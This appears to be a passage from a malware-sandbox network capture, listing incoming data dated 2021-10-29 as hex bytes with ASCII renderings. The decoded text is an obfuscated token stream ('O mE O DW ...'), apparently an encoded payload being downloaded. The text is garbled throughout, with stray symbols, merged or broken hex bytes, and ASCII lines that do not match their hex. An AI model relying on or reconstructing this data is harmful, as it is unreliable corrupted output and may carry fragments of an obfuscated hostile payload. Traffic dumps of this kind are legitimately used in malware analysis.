57 20 4f 20 57 6d 20 4f 20 71 71 4d 20 4f 20 71 4f 44 20 4f 20 6d 45 20 4f 20 45 4f 20 4f 20 4d 45 20 4f 20 71 4f 44 20 4f
20 44 57 20 4f 20 58 71 20 4f 20 44 57 20
Data Ascii: p O qqgD O EO O mE O Ep O qgD O EX O DM O Ep O qOE O DD O gOW O mE O XO O gqgm O DE O XO O
WD O XD O qgp O EE O DD O DW O DW O Ep O ggX O qgM O mE O Wgq O XW O EE O mE O gqJO O XE O XW O qqM
O DM O DW O bW O Wm O qgM O qOD O mE O EO O ME O qOD O DW O Xq O DW

2021-10-29 18:29:49 UTC 599 IN Data Raw: 57 20 4f 20 45 70 20 4f 20 57 4f 20 4f 20 6d 4d 20 4f 20 45 70 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 6d 45 20 4f
20 6d 45 20 4f 20 6d 70 20 4f 20 71 4f 44 20 4f 20 44 57 20 4f 20 45 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f
20 71 4f 44 20 4f 20 58 58 20 4f 20 58 45 20 4f 20 71 71 71 20 4f 20 57 6d 20 4f 20 45 44 20 4f 20 71 4f 70 20 4f 20 71 71
57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4a 4a 20 4f 20 57 4f 20 4f 20 57 4a 20 4f 20 71 71 44 20 4f 20
6d 4d 20 4f 20 44 58 20 4f 20 45 70 20 4f 20 71 71 44 20 4f 20 57 45 20 4f 20 44 45 20 4f 20 45 4d 20 4f 20 71 71 57 20 4f
20 58 57 20 4f 20 4d 4f 20 4f 20 71 4 44 20 4f 20 71 4f 45 20 4f 20 71 4f 4a 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 45 58
20 4f 20 58 58 20 4f 20 57 6d 20
Data Ascii: W O Ep O WO O mM O Ep O XO O mE O mE O mE O mp O qOD O DW O ED O DW O DW O DW O qOD O
XX O XE O qqq O Wm O ED O qOp O qqW O DW O DW O DW O ¢JJ O WO O WJ O qgD O mM O DX O Ep O qgD O
WE O DE O EM O ggW O XW O MO O qOD O qOE O gq0J O OO O DW O EX O XX O Wm

2021-10-29 18:29:49 UTC 615 IN Data Raw: 44 20 4f 20 6d 70 20 4f 20 58 4d 20 4f 20 45 58 20 4f 20 6d 45 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 44 20
4120 6d 4d 20 4f 20 45 4a 20 4f 20 71 71 58 20 4f 20 57 45 20 4f 20 6d 58 20 4f 20 45 6d 20 4f 20 44 57 20 4f 20 71 4f 44
20 420 71 71 71 20 4f 20 45 44 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 4a 20 4f 20 58 58
20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 44 20 4f 20 45 4a 20 4f 20 6d 45 20 4f 20 58 4a 20 4f 20 71 71 4d 20 4f 20 71
4a 4f 20 4f 20 58 71 20 4f 20 57 6d 20 4f 20 45 45 20 4f 20 71 71 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20
44 44 20 4f 20 4d 4f 20 4f 20 71 4f 57 20 4f 20 6d 58 20 4f 20 71 71 4d 20 4f 20 71 4f 45 20 4f 20 44 58 20 4f 20 45 71 20
4f 20 4d 45 20 4f 20 45 6d 20 4f 20 44
Data Ascii: D O mp O XM O EX O mE O DD O DW O DD O mM O EJ O qgX O WE O mX O Em O DW O qOD O qqq O E
D O XO O mE O mE O mE O WJ O XX O DW O gOO O DD O EJ O mE O XJ O qgM O qJO O Xq O Wm O EE O qgp O
DW O DW O DW O DD O MO O gOW O mX O ggM O qOE O DX O Eq O ME O Em O D

2021-10-29 18:29:49 UTC 631 IN Data Raw: 20 4f 20 44 57 20 4f 20 71 4f 57 20 4f 20 57 44 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 58 57 20 4f 20 44 57
20 4f 20 58 70 20 4f 20 45 44 20 4f 20 57 44 20 4f 20 6d 70 20 4f 20 71 4f 57 20 4f 20 44 45 20 4f 20 44 44 20 4f 20 44 57
20 4f 20 44 57 20 4f 20 44 57 20 4f 20 57 6d 20 4f 20 71 71 4d 20 4f 20 58 70 20 4f 20 45 44 20 4f 20 58 58 20 4f 20 44 45
20 4f 20 58 71 20 4f 20 45 45 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 58 57 20 4f 20 58 71 20 4f 20 71 4f 57 20 4f 20 57 44
20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 71 4f 4f 20 4f 20 58 71 20 4f 20 71 4a 4a 20 4f 20 6d 45 20 4f 20 71 4f 4f 20 4f 20
58 71 20 4f 20 71 4f 44 20 4f 20 71 71 71 20 4f 20 6d 4d 20 4f 20 6d 45 20 4f 20 45 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f
20 6d 4d 20 4f 20 57 45 20 4f 20 71
Data Ascii: O DW O gOW O WD O qgX O mE O XW O DW O Xp O ED O WD O mp O qOW O DE O DD O DW O bW O
DW O Wm O qgM O Xp O ED O XX O DE O Xq O EE O mE O Wgq O XW O Xq O gOW O WD O ggX O mE O qOO O Xq
0 qJJ OmE O gOO O Xgq O qOD O qgqg O mM O mE O ED OmEOmMEOmMMOWEO q

2021-10-29 18:29:49 UTC 647 IN Data Raw: 71 4a 4f 20 4f 20 6d 70 20 4f 20 71 4f 57 20 4f 20 57 6d 20 4f 20 57 6d 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f
20 6d 45 20 4f 20 58 57 20 4f 20 6d 4d 20 4f 20 45 58 20 4f 20 58 6d 20 4f 20 58 44 20 4f 20 71 4f 4d 20 4f 20 71 4f 44 20
4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 58 58
20 4f 20 57 44 20 4f 20 71 4f 57 20 4f 20 57 44 20 4f 20 71 4f 4a 20 4f 20 71 71 71 20 4f 20 71 71 4a 20 4f 20 6d 70 20 4f
20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 45 58 20 4f 20 58 45 20 4f 20 58 57 20 4f 20 6d 4d 20 4f
20 45 58 20 4f 20 71 71 71 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 4f 20 4f
20 57 45 20 4f 20 6d 4d 20 4f 20 6d 45
Data Ascii: @JO O mp O gOW O Wm O Wm O qgX O mE O mE O XW O mM O EX O Xm O XD O qOM O qOD O qJJ O
DW O gqgM O DW O DW O mE O Wg O XX O WD O qOW O WD O q0J O qqq O gqgqJ O mp O ggm O mE O mE O mM O
EX O XE O XW O mM O EX O qgq O DD O DW O Xq O DW O DW O XO O WE O mM O mE

2021-10-29 18:29:49 UTC 663 IN Data Raw: 20 4f 20 58 4a 20 4f 20 71 4f 4a 20 4f 20 71 4f 44 20 4f 20 71 4f 4a 20 4f 20 71 4f 4a 20 4f 20 71 4f 4a 20 4f 20
71 457 20 4f 20 45 44 20 4f 20 58 4a 20 4f 20 71 4f 4a 20 4f 20 71 4f 44 20 4f 20 45 6d 20 4f 20 71 71 4d 20 4f 20 6d 4d
20 4f 20 58 45 20 4f 20 45 44 20 4f 20 57 57 20 4f 20 45 70 20 4f 20 58 4f 20 4f 20 71 4f 45 20 4f 20 6d 70 20 4f 20 45 70
20 4f 20 58 4f 20 4f 20 71 71 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 44 57 20 4f 20 58 44
20 4f 20 45 58 20 4f 20 6d 4d 20 4f 20 44 44 20 4f 20 57 4a 20 4f 20 71 71 57 20 4f 20 45 71 20 4f 20 57 6d 20 4f 20 71 4f
42 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 4d 58 20 4f 20 58 4a 20 4f 20 58
71 20 4f 20 71 4f 57 20 4f 20 45 58
Data Ascii; O XJ O gOJ O qOD O ¢OJ O gOJ O gOJ O gOW O ED O XJ O gOJ O gOD O Em O qgM O mM O XE O ED
OWW O Ep O XO O qOE O mp O Ep O XO O qqW O EJ O Ep O XO O mE O DW O XD O EX O mM O DD O WJ O qqW
O Eq O Wm O qOJ O gOp O DW O DW O DW O DX O MX O XJ O Xq O qOW O EX

2021-10-29 18:29:49 UTC 679 IN Data Raw: 20 4f 20 45 4f 20 4f 20 45 4f 20 4f 20 71 71 70 20 4f 20 44 57 20 4f 20 71 71 71 20 4f 20 58 4f 20 4f 20 44 57 20
4f 20 44 45 20 4f 20 45 4d 20 4f 20 71 4f 57 20 4f 20 58 70 20 4f 20 57 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20
4f 20 58 45 20 4f 20 58 4d 20 4f 20 58 58 20 4f 20 57 4f 20 4f 20 58 45 20 4f 20 58 58 20 4f 20 58 57 20 4f 20 45 6d 20 4f
20 71 4f 57 20 4f 20 71 4a 4a 20 4f 20 6d 70 20 4f 20 45 4f 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 58 71 20 4f 20 44 58 20
4f 20 4d 4f 20 4f 20 71 4f 57 20 4f 20 44 4d 20 4f 20 57 71 20 4f 20 58 58 20 4f 20 6d 4d 20 4f 20 57 57 20 4f 20 44 58 20
4f 20 71 4f 70 20 4f 20 57 71 20 4f 20 57 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 45 58 20
4f 20 6d 45 20 4f 20 57 71 20 4f 20
Data Ascii: O EO O EO O qgqp O DW O gqg O XO O DW O DE O EM O qOW O Xp O WD O mE O mE O mE O XE O XM
O XX O WO O XE O XXOXWOEmMOqOW O qJJOmp O EO OmE O WqO XqO DX O MO O qOW O DM O Wg O
XX O mM O WW O DX O qOp OWgOWJO XqODWO EJO XqOEXOmEOWqO

2021-10-29 18:29:49 UTC 695 IN Data Raw: 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 45 20 4f 20 58 44 20 4f 20 71 71 4f 20 4f 20 44 58 20
4f 20 58 44 20 4f 20 58 4d 20 4f 20 71 71 58 20 4f 20 71 71 57 20 4f 20 71 4f 70 20 4f 20 6d 70 20 4f 20 71 4a 4f 20 4f 20
44 57 20 4f 20 4d 4f 20 4f 20 71 71 71 20 4f 20 45 58 20 4f 20 71 4f 58 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 44 20
4f20 71 71 70 20 4f 20 58 4f 20 4f 20 71 71 71 20 4f 20 6d 4d 20 4f 20 45 4f 20 4f 20 71 71 4d 20 4f 20 71 4f 4d 20 4f 20
7171 71 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 45 4d 20 4f 20 71 4f 70 20 4f 20 4d 58 20 4f 20 58 57 20 4f 20 71 71 4d 20
4f 20 44 57 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 71 4f 70 20 4f 20 71 71 70 20 4f 20 45 58 20 4f 20 58 4a 20 4f 20 4d 4d
20 4f 20 44 44 20 4f 20 58 71 20 4f 20
Data Ascii: O ggM O DW O DW O XE O XD O qqO O DX O XD O XM O qgX O qqW O qOp O mp O qJO O DW O MO O
qqg O EX O qOX O qgM O DW O DD O ggp O XO O qqq O mM O EO O qgM O qOM O ggqq O DW O XW O EM O qOp
O MX O XW O gqgM O DW O DW O ME O qOp O ggp O EX O XJ O MM O DD O Xq O
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:49 UTC 711 IN Data Raw: 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 4d 58 20 4f 20 71 71 71 20 4f 20 4d 58 20 4f 20 58 57 20
4f 20 71 71 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 71 4f 4d 20 4f 20 45 44 20 4f 20 71 4a 4a 20 4f 20 6d
4d 20 4f 20 57 57 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45
4f 20 4f 20 4d 4f 20 4f 20 58 58 20 4f 20 71 4f 57 20 4f 20 6d 45 20 4f 20 44 4d 20 4f 20 71 4a 4a 20 4f 20 6d 45 20 4f 20
71 4a 4a 20 4f 20 71 4f 58 20 4f 20 6d 70 20 4f 20 44 44 20 4f 20 45 4a 20 4f 20 57 4a 20 4f 20 58 4d 20 4f 20 45 4d 20 4f
20 58 58 20 4f 20 57 4a 20 4f 20 6d 58 20 4f 20 71 4f 4a 20 4f 20 71 4f 6d 20 4f 20 45 58 20 4f 20 58 58 20 4f 20 57 6d 20
4f 20 44 45 20 4f 20 71 71 6d 20 4f 20
Data Ascii: O mE O mE O mM O MX O qgq O MX O XW O gqqg O DW O DW O EO O qOM O ED O qJJ O mM O WW O
gqgJ O DW O DW O DW O DW O DW O EO O MO O XX O qOW O mE O DM O qJJ O mE O gqJJ O gOX O mp O DD O
EJOWJO XM O EM O XX O WJO mXO gOJO gOm O EX O XX OWm O DE O qgm O

2021-10-29 18:29:49 UTC 727 IN Data Raw: 20 71 71 58 20 4f 20 45 4d 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 44 57 20 4f 20 57 44 20 4f 20 71 4f 6d 20 4f
20 4d 4d 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 45 45 20 4f 20 71 71 58 20 4f 20 57 45 20 4f 20 57 4f 20 4f 20 45 58 20 4f
20 45 4f 20 4f 20 44 45 20 4f 20 45 58 20 4f 20 71 4f 6d 20 4f 20 58 71 20 4f 20 44 58 20 4f 20 6d 70 20 4f 20 6d 45 20 4f
20 6d 45 20 4f 20 57 45 20 4f 20 71 71 71 20 4f 20 6d 45 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57
20 4f 20 45 4f 20 4f 20 44 58 20 4f 20 71 71 71 20 4f 20 71 71 6d 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20
44 57 20 4f 20 45 70 20 4f 20 58 4f 20 4f 20 44 4d 20 4f 20 44 4d 20 4f 20 45 70 20 4f 20 57 4f 20 4f 20 45 4f 20 4f 20 44
57 20 4f 20 58 4f 20 4f 20 57 57 20 4f 20
Data Ascii: qgX O EM O mE O mM O DW O WD O gOm O MM O DD O mX O EE O ggX O WE O WO O EX O EO O DE
O EXOgOm O Xq O DX O mpOmE O mE OWE O gqgq O mE O ggM O DW O DW O DW O EO O DX O qgq O qgm O
gOE O DW O DW O DW O Ep O XO O DM O DM O Ep O WO O EO O DW O XO O WW O

2021-10-29 18:29:49 UTC 743 IN Data Raw: 4f 57 20 4f 20 57 44 20 4f 20 6d 58 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 57 71
20 4f 20 58 57 20 4f 20 45 70 20 4f 20 71 4f 57 20 4f 20 57 44 20 4f 20 71 4f 4a 20 4f 20 71 71 71 20 4f 20 57 44 20 4f 20
6d 45 20 4f 20 71 4f 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 71 71 58 20 4f 20 45 6d 20 4f 20 71 71 4d 20
4f 20 71 4f 70 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 58 4d 20 4f 20 71 71 58 20 4f 20 71 71 57 20 4f 20
71 4f 70 20 4f 20 6d 70 20 4f 20 58 6d 20 4f 20 57 4a 20 4f 20 58 57 20 4f 20 58 4d 20 4f 20 71 71 44 20 4f 20 45 4f 20 4f
20 44 4d 20 4f 20 45 70 20 4f 20 58 4f 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 71 4f 58 20 4f 20 45 58 20 4f 20 58 45 20 4f
20 58 44 20 4f 20 57 4a 20 420 71 71
Data Ascii: OW O WD O mX O DM O DW O DW O mE O Wq O XW O Ep O qOW O WD O qOJ O qqq O WD O mE O
qOD O mE O mE O mM O qgX O Em O qgM O qOp O qOp O DW O XD O XM O qgX O qqW O qOp O mp O Xm O WJ O
XW O XM O qgD O EO O DM O Ep O XO O WJ O DW O qOX O EX O XE O XD O WJ O qq

2021-10-29 18:29:49 UTC 759 IN Data Raw: 4a 4f 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 57 6d 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 71 71 58 20 4f 20 44
57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 4d 4f 20 4f 20 58 45 20 4f 20 58 4d 20 4f 20 45 58 20 4f 20 57 45 20 4f 20 44 45
20 4120 44 57 20 4f 20 44 44 20 4f 20 71 4f 71 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 45 44 20 4f 20 57 71 20 4f 20 57 41
20 4f 20 45 45 20 4f 20 71 71 4f 20 4f 20 44 58 20 4f 20 58 44 20 4f 20 58 4d 20 4f 20 71 71 58 20 4f 20 71 71 57 20 4f 20
58 57 20 4f 20 58 4d 20 4f 20 45 58 20 4f 20 71 4f 58 20 4f 20 6d 45 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 6d 20 4f 20
58 44 20 4f 20 71 4f 58 20 4f 20 71 4f 71 20 4f 20 45 44 20 4f 20 71 4f 4a 20 4f 20 58 71 20 4f 20 71 4f 57 20 4f 20 45 44 2
0 4f 20 44 44 20 4f 20 57 4a 20 4f
Data Ascii: JO O DD O Xgq O Wm O DW O EE O ggX O DW O DW O DD O MO O XE O XM O EX O WE O DE O DW O
DD O gOg O 0O O DW O ED O Wg O WO O EE O ggO O DX O XD O XM O ggX O qgW O XW O XM O EX O qOX O
mE O DW O DD O Xm O XD O qOX O qOq O ED O gOJ O Xq O qOW O ED O DD O WJ O

2021-10-29 18:29:49 UTC 775 IN Data Raw: 4f 20 71 71 57 20 4f 20 45 4f 20 4f 20 57 6d 20 4f 20 44 4d 20 4f 20 57 44 20 4f 20 44 4d 20 4f 20 44 57 20 4f
20 44 57 20 4f 20 44 57 20 4f 20 57 70 20 4f 20 45 4a 20 4f 20 4d 58 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 58 71 20 4f
20 58 71 20 4f 20 44 44 20 4f 20 6d 4d 20 4f 20 44 45 20 4f 20 44 58 20 4f 20 71 4f 45 20 4f 20 71 4f 4f 20 4f 20 71 71 58
20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 4a 20 4f 20 57 70 20 4f 20 4d 45 20
41 20 44 44 20 4f 20 71 4f 70 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 45 58 20 4f 20 71 4f 6d
20 4f 20 71 4f 71 20 4f 20 71 4f 44 20 4f 20 57 57 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 6d 20 4f 20 58
57 20 4f 20 45 70 20 4f 20 71 4f 4d 20
Data Ascii: O ggW O EO O Wm O DM O WD O DM O DW O DW O DW O Wp O EJ O MX O qOp O DD O Xq O Xq O DD
O mM O DE O DX O qOE O 0O O ggX O DW O EO O DD O DW O EJ O XJ O Wp O ME O DD O qOp O DE O DW O
DW O DE O EX O gOm O qOg O gOD O WW O mE O mE O WE O Xm O XW O Ep O qOM

2021-10-29 18:29:49 UTC 791 IN Data Raw: 20 71 4f 70 20 4f 20 44 4d 20 4f 20 71 4f 57 20 4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 45 70 20 4f 20 71 4f 57 20
4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 45 45 20 4f 20 71 4f 57 20 4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 58 71 20 4f 20 71 4f
57 20 4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 58 57 20 4f 20 71 71 4d 20 4f 20 57 4a 20 4f 20 71 71 57 20 4f 20 45 4a 20 4f
20 71 4f 6d 20 4f 20 4d 4d 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 45 20 4f 20 71 4f 58 20 4f 20 44 58 20 4f 20 6d 45 20
4f 20 45 4f 20 4f 20 4d 4d 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 58 20
4f 20 45 6d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 58 45 20 4f 20 71 4f 44 20 4f 20 58 58 20 4f 20 4d 4d 20 4f 20 71 71
71 20 4f 20 57 6d 20 4f 20 45 4d
Data Ascii: qOp O DM O qOW O XW O qOp O Ep O qOW O XW O qOp O EE O qOW O XW O qOp O Xq O qOW O XW
0O gOp O XW O gqgqM O WJ O gqW O EJ O gOm O MM O DD O mX O DE O qOX O DX O mE O EO O MM O gqJJ O DW
O Xq O DW O DE O DX O Em O qqM O DD O XE O qOD O XX O MM O gqgqq O Wm O EM

2021-10-29 18:29:49 UTC 807 IN Data Raw: 20 44 57 20 4f 20 58 45 20 4f 20 58 4d 20 4f 20 6d 4d 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45
6d 20 4f 20 58 71 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 58 71 20 4f 20 71 4f 45 20 4f 20 44 4d 20 4f 20 45 71 20 4f 20 71
7171 20 4f 20 44 44 20 4f 20 4d 45 20 4f 20 71 4f 70 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 71 4f 4f 20 4f 20 44 45 20 4f
20 58 71 20 4f 20 58 4d 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 58 71 20 4f 20 71 4f 45 20 4f 20 45 71 20 4f 20 58 4f 20 4f
20 57 44 20 4f 20 58 44 20 4f 20 44 58 20 4f 20 45 45 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 45 20 4f 20
45 58 20 4f 20 58 44 20 4f 20 71 4f 57 20 4f 20 6d 70 20 4f 20 71 4a 4f 20 4f 20 58 4a 20 4f 20 58 44 20 4f 20 71 4f 4d 20
4f 20 71 4f 70 20 4f 20 71 4f 4a 20 4f
Data Ascii: DW O XE O XM O mM O DM O DW O DW O Em O Xg O mE O Wg O Xg O qOE O DM O Eq O qqq O DD O
ME O qOp O DX O mE O qOO O DE O Xgq O XM O mE O Wg O Xq O qOE O Eq O XO O WD O XD O DX O EE O DD O
DW O DW O EE O EX O XD O qOW O mp O qJO O XJ O XD O qOM O qOp O qOJ O

2021-10-29 18:29:49 UTC 823 IN Data Raw: 4f 20 71 4f 4a 20 4f 20 71 71 4d 20 4f 20 71 4f 70 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 58 44
20 4f 20 45 58 20 4f 20 58 44 20 4f 20 58 44 20 4f 20 71 4f 58 20 4f 20 71 4f 71 20 4f 20 45 44 20 4f 20 6d 70 20 4f 20 58
4d 20 4f 20 71 71 44 20 4f 20 45 4a 20 4f 20 44 4d 20 4f 20 45 70 20 4f 20 57 4f 20 4f 20 58 4f 20 4f 20 71 4f 71 20 4f 20
44 57 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 71 4f 57 20 4f 20 4d 58 20 4f 20 71 4f 6d 20 4f
20 71 4f 4a 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 4f 57 20 4f 20 57 44 20 4f 20 6d 45 20 4f 20 71 71 71 20 4f 20 45 44
20 4f 20 57 4a 20 4f 20 58 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 4f 20 4f 20 71 71 4a 20 4f 20 71 4f 58 20 4f 20 6d
45 20 4f 20 57 71 20 4f 20 4d 4d 20
Data Ascii: O gOJ O qgM O qOp O qOp O DW O XW O XD O EX O XD O XD O qOX O qOg O ED O mp O XM O qgD O
EJ O DM O Ep O WO O XO O qOg O DW O EE O DW O DW O EM O gOW O MX O gqOm O qOJ O mE O mE O qOW O
WD O mE O qqq O ED O WJ O XX O mE O mE O WO O qgqJ O qOX O mE O Wq O MM
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:49 UTC 839 IN Data Raw: 4f 20 6d 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 6d 4d 20 4f 20 45 4f 20 4f 20 71 4a 71 20 4f
20 45 4f 20 4f 20 44 45 20 4f 20 45 58 20 4f 20 71 71 44 20 4f 20 71 4a 4f 20 4f 20 71 4f 70 20 4f 20 44 4d 20 4f 20 44 57
20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 6d 20 4f 20 57 6d 20 4f 20 45 4f 20 4f 20 58 4f 20 4f 20 6d 70 20 4f 20 6d 45 20
4f 20 6d 45 20 4f 20 57 45 20 4 20 71 71 71 20 4f 20 58 44 20 4f 20 45 58 20 4f 20 6d 4d 20 4f 20 44 57 20 4f 20 44 57 20
4f 20 45 70 20 4f 20 6d 4d 20 4f 20 45 4f 20 4f 20 71 4a 71 20 4f 20 45 4f 20 4f 20 44 45 20 4f 20 45 58 20 4f 20 71 71 44
20 4f 20 71 4a 4f 20 4f 20 71 4f 70 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 6d 20 4f 20 57
6d 20 4f 20 44 58 20 4f 20 57 57 20 4f
Data Ascii: O mM O DW O DW O Ep O mM O EO O qJq O EO O DE O EX O ggD O gJO O gOp O DM O DW O DW O
DD O Xm O Wm O EO O XO O mp O mE O mE O WE O gqq O XD O EX O mM O DW O DW O Ep O mM O EO O gJq O
EO O DE O EX O qgD O gJO O qOp O Eq O DW O DW O DD O Xm O Wm O DX O WW O

2021-10-29 18:29:49 UTC 855 IN Data Raw: 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 45 44 20 4f 20 71 4f 44 20 4f 20 44 57 20 4f 20
44,57 20 4 20 44 44 20 4f 20 45 57 20 4f 20 57 4a 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 71 20 4f 20
71 71 45 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 44 20 4f 20 71 4f 44 20 4f 20 71 4f 44 20 4f 20 44 57 20
4f 20 44 57 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 57 4a 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4a 4a
20 4f 20 71 71 45 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4a 4a 20 4f 20 71 4f 44 20 4f 20
44,57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 58 4d 20 4f 20 57 4a 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20
45 58 20 4f 20 71 71 45 20 4f 20 45 45
Data Ascii: EE O DW O DW O EO O ED O qOD O DW O DW O DD O EW O WJ O qgM O DW O DW O Xq O qqE O EE
O DW O DW O ED O gOD O gOD O DW O DW O DX O DW O WJ O qgqM O DW O DW O gJJ O qgE O EE O DW O DW
0 Eq0@qJJ 0 gOD O DW O DW O DX O XM O WJ O ggM O DW O DW O EX O qqE O EE

2021-10-29 18:29:49 UTC 871 IN Data Raw: 20 45 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 71 71 45 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 71 71 71 20
4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 44 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 4d 20
4f 20 44 57 20 4f 20 4d 4f 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 71 71 71
20 4f 20 44 57 20 4f 20 45 44 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f 44 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58
4d 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 45
70 20 4f 20 44 57 20 4f 20 45 6d 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 45
70 20 4f 20 44 57 20 4f 20 45 70 20 4f
Data Ascii: EW O qOp O DW O ggE O DW O DE O qgqq O DW O DW O DW O DD O gOD O DW O Eq O XM O DW O
MO O ggM O DW O DW O DW O DE O gqq O DW O ED O qOp O DD O qOD O DW O Eq O XM O DW O MO O qgM O
DW O DW O DW O DE O Ep O DW O Em O Xq O DD O qJJ O DW O DE O Ep O DW O Ep O

2021-10-29 18:29:49 UTC 887 IN Data Raw: 20 4d 4f 20 4f 20 71 71 4d 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 71 4f 4d 20 4f 20 4d 4d 20 4f
20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 45 20 4f 20 57 71 20 4f 20 45 6d 20 4f 20 44 57 20 4f 20 44 57 20 4f
20 45 70 20 4f 20 45 57 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 71 4f 45 20 4f 20 71 4f 70 20
4120 58 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f 20 44 57 20
